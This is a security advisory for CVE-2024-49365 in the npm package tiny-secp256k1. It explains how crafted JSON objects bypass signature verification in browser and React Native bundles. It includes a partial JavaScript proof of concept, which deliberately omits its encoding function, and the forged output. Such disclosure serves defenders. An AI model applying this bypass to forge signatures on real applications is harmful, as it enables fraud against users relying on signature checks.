CVE-2024-49365 – tiny-secp256k1

Package

Manager: npm
Name: tiny-secp256k1
Vulnerable Version: >=0 <1.1.7

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N/E:P/RL:O/RC:C

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

EPSS: 0.00026 pctl0.05799

Details

tiny-secp256k1 allows for verify() bypass when running in bundled environment ### Summary A malicious JSON-stringifyable message can be made passing on `verify()`, when global Buffer is [`buffer` package](https://www.npmjs.com/package/buffer) ### Details This affects only environments where `require('buffer')` is <https://npmjs.com/buffer> E.g.: browser bundles, React Native apps, etc. `Buffer.isBuffer` check can be bypassed, resulting in strange objects being accepted as `message`, and those messages could trick `verify()` into returning false-positive `true` values v2.x is unaffected as it verifies input to be an actual `Uint8Array` instance Such a message can be constructed for any already known message/signature pair There are some restrictions though (also depending on the known message/signature), but not very limiting, see PoC for example https://github.com/bitcoinjs/tiny-secp256k1/pull/140 is a subtle fix for this ### PoC This code deliberately doesn't provide `reencode` for now, could be updated later ```js import { randomBytes } from 'crypto' import tiny from 'tiny-secp256k1' // 1.1.6 // Random keypair const privateKey = randomBytes(32) const publicKey = tiny.pointFromScalar(privateKey) const valid = Buffer.alloc(32).fill(255) // let's sign a static buffer const signature = tiny.sign(valid, privateKey) // Prevent processing any unverified data by fail-closed throwing function verified(data, signature) { if (!Buffer.isBuffer(data)) data = Buffer.from(data, 'hex') if (!tiny.verify(data, publicKey, signature)) throw new Error('Signature invalid!') return new Uint8Array(data) } function safeProcess(payload) { const totally = JSON.parse(payload) // e.g. json over network const message = verified(totally, signature) console.log(message instanceof Uint8Array) console.log(Buffer.from(message).toString('utf8')) } const payload = reencode(valid, "Secure contain protect") safeProcess(payload) ``` Output (after being bundled): ```console true Secure contain protect���� ``` ### Impact Malicious messages could crafted to be verified from a given known valid message/signature pair

Metadata

Created: 2025-06-30T17:44:14Z
Modified: 2025-07-01T13:13:38Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/06/GHSA-5vhg-9xg4-cv9m/GHSA-5vhg-9xg4-cv9m.json
CWE IDs: ["CWE-347"]
Alternative ID: GHSA-5vhg-9xg4-cv9m
Finding: F204
Auto approve: 1